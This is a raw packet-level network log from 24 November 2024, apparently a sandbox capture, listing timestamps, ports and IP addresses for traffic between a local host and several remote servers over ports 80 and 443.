Nov 24, 2024 23:24:11.273372889 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.273457050 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.273523092 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.273677111 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.273689985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.273730040 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.273751974 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.274270058 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.274322987 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.274415970 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.274468899 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.275049925 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.275108099 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.275187969 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.275243998 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.275845051 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.275899887 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.276676893 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.276689053 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.276698112 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.276734114 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.276766062 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.277447939 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.277883053 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.277995110 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.278023005 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.278251886 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.278316975 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.278475046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.278526068 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.279088974 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.279103994 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.279148102 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.279877901 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.279930115 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.280045986 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.280098915 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.280652046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.280710936 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.280806065 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.280859947 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.281482935 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.281534910 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.281816959 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.281867981 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.282387972 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.282439947 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.282555103 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.282612085 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.283130884 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.283181906 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.283896923 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.283925056 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.283935070 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.283967972 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.284004927 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.284693956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.284748077 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.284791946 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.284841061 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.285489082 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.285542011 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.285931110 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.285983086 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.344157934 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.344192028 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.344273090 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.344300985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.344358921 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.344432116 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.344480038 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.345118046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.345166922 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.345594883 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.345660925 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.345949888 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.346002102 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.346491098 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.346503973 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.346540928 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:14.749428034 CET	49708	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:14.749475956 CET	443	49708	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:14.749548912 CET	49708	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:14.749798059 CET	49708	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:14.749814987 CET	443	49708	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:14.915853024 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:14.915920019 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:14.973406076 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:14.973486900 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:14.973573923 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:14.973891973 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:14.973926067 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:15.053776979 CET	49712	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:15.053837061 CET	443	49712	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:15.053915024 CET	49712	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:15.054147959 CET	49712	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:15.054162025 CET	443	49712	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:15.099787951 CET	49713	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:15.099899054 CET	443	49713	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:15.099992990 CET	49713	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:15.100286007 CET	49713	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:15.100322008 CET	443	49713	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:16.589893103 CET	443	49708	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:16.590610981 CET	49708	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:16.590637922 CET	443	49708	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:16.592086077 CET	443	49708	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:16.592175961 CET	49708	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:16.593249083 CET	49708	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:16.593338013 CET	443	49708	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:16.593446970 CET	49708	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:16.635360003 CET	443	49708	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:16.637119055 CET	49708	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:16.637131929 CET	443	49708	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:16.690015078 CET	49708	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:16.731812954 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:16.734787941 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:16.734814882 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:16.736288071 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:16.736361980 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:16.737308025 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:16.737407923 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:16.737452984 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:16.778306961 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:16.778347969 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:16.825191021 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:16.826888084 CET	443	49713	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:16.827188015 CET	49713	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:16.827224970 CET	443	49713	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:16.828751087 CET	443	49713	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:16.828824997 CET	49713	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:16.829251051 CET	49713	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:16.829365969 CET	443	49713	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:16.829503059 CET	49713	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:16.869803905 CET	443	49712	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:16.870187998 CET	49712	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:16.870220900 CET	443	49712	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:16.871309042 CET	443	49712	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:16.871391058 CET	49712	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:16.871682882 CET	49712	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:16.871747971 CET	443	49712	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:16.872070074 CET	49713	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:16.872087955 CET	443	49713	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:16.918930054 CET	49713	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:16.918930054 CET	49712	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:16.918941021 CET	443	49712	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:16.965811014 CET	49712	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:17.463376999 CET	443	49708	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:17.463440895 CET	443	49708	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:17.463471889 CET	443	49708	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:17.463504076 CET	49708	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:17.463538885 CET	443	49708	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:17.464121103 CET	49708	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:17.464791059 CET	443	49708	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:17.464843988 CET	443	49708	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:17.464906931 CET	49708	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:17.465059042 CET	49708	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:17.465071917 CET	443	49708	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:17.465240955 CET	49708	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:17.465261936 CET	49708	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:17.631361008 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:17.631498098 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:17.631609917 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:17.631622076 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:17.631649971 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:17.632643938 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:17.632673025 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:17.635757923 CET	49716	443	192.168.2.5	172.202.163.200
Nov 24, 2024 23:24:17.635802031 CET	443	49716	172.202.163.200	192.168.2.5
Nov 24, 2024 23:24:17.635891914 CET	49716	443	192.168.2.5	172.202.163.200
Nov 24, 2024 23:24:17.637840986 CET	49716	443	192.168.2.5	172.202.163.200
Nov 24, 2024 23:24:17.637860060 CET	443	49716	172.202.163.200	192.168.2.5
Nov 24, 2024 23:24:17.642184019 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:17.642297029 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:17.642375946 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:17.642396927 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:17.642453909 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:17.650563002 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:17.669698000 CET	443	49713	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:17.669868946 CET	443	49713	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:17.669974089 CET	49713	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:17.670839071 CET	49713	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:17.670852900 CET	443	49713	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:17.677114964 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:17.677627087 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:17.677644968 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:17.717268944 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:17.750566959 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:17.794035912 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:17.794075966 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:17.832262039 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:17.832329988 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:17.832357883 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:17.843070984 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:17.843128920 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:17.843144894 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:17.852392912 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:17.852474928 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:17.852482080 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:17.862112999 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:17.862174988 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:17.862190008 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:17.871860027 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:17.871920109 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:17.871934891 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:17.882183075 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:17.882246017 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:17.882260084 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:17.895611048 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:17.895677090 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:17.895689964 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:17.909112930 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:17.909184933 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:17.909198999 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:17.922871113 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:17.922935009 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:17.922949076 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:17.944525003 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:17.944586039 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:17.944593906 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:17.960077047 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:17.960130930 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:17.960139036 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:17.971407890 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:17.971477032 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:17.971493959 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.012797117 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:18.038897038 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.042000055 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.042062044 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:18.042069912 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.046489954 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.046547890 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:18.046555042 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.052265882 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.052326918 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:18.052333117 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.057230949 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.057295084 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:18.057301998 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.069161892 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.069231987 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:18.069272041 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.080595970 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.080646038 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:18.080655098 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.091037035 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.091104984 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:18.091119051 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.103596926 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.103663921 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:18.103678942 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.118436098 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.118498087 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:18.118536949 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.133317947 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.133388996 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:18.133411884 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.143791914 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.143850088 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:18.143867016 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.153213978 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.153280020 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:18.153300047 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.161437988 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.161489010 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:18.161506891 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.169991016 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.170058966 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:18.170077085 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.176943064 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.177020073 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:18.177038908 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.181286097 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.181360006 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:18.181369066 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.181396008 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.181503057 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:18.186647892 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.196446896 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.196520090 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:18.196552038 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.204618931 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.204684973 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:18.204705000 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.213282108 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.213329077 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:18.213346958 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.225399971 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.225466967 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:18.225486040 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.230176926 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.230237961 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:18.230256081 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.245251894 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.245328903 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:18.245351076 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.247440100 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.247528076 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.247595072 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:18.247611046 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.247656107 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:18.250634909 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.256536007 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.256576061 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.256608009 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:18.256627083 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.256669044 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:18.263217926 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.264767885 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.264846087 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:18.264852047 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.264863968 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.264902115 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:18.274902105 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.276395082 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.276470900 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:18.276489019 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.276575089 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.276619911 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:18.276627064 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.276842117 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:18.276889086 CET	443	49711	142.250.181.68	192.168.2.5
Nov 24, 2024 23:24:18.276942015 CET	49711	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:18.924751997 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:18.925074100 CET	49723	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:19.044959068 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:19.044995070 CET	80	49723	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:19.045355082 CET	49723	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:19.046547890 CET	49723	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:19.167484045 CET	80	49723	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:19.261380911 CET	49725	443	192.168.2.5	23.218.208.109
Nov 24, 2024 23:24:19.261413097 CET	443	49725	23.218.208.109	192.168.2.5
Nov 24, 2024 23:24:19.262516975 CET	49725	443	192.168.2.5	23.218.208.109
Nov 24, 2024 23:24:19.263655901 CET	49725	443	192.168.2.5	23.218.208.109
Nov 24, 2024 23:24:19.263669014 CET	443	49725	23.218.208.109	192.168.2.5
Nov 24, 2024 23:24:19.432447910 CET	443	49716	172.202.163.200	192.168.2.5
Nov 24, 2024 23:24:19.432531118 CET	49716	443	192.168.2.5	172.202.163.200
Nov 24, 2024 23:24:19.435595989 CET	49716	443	192.168.2.5	172.202.163.200
Nov 24, 2024 23:24:19.435605049 CET	443	49716	172.202.163.200	192.168.2.5
Nov 24, 2024 23:24:19.435967922 CET	443	49716	172.202.163.200	192.168.2.5
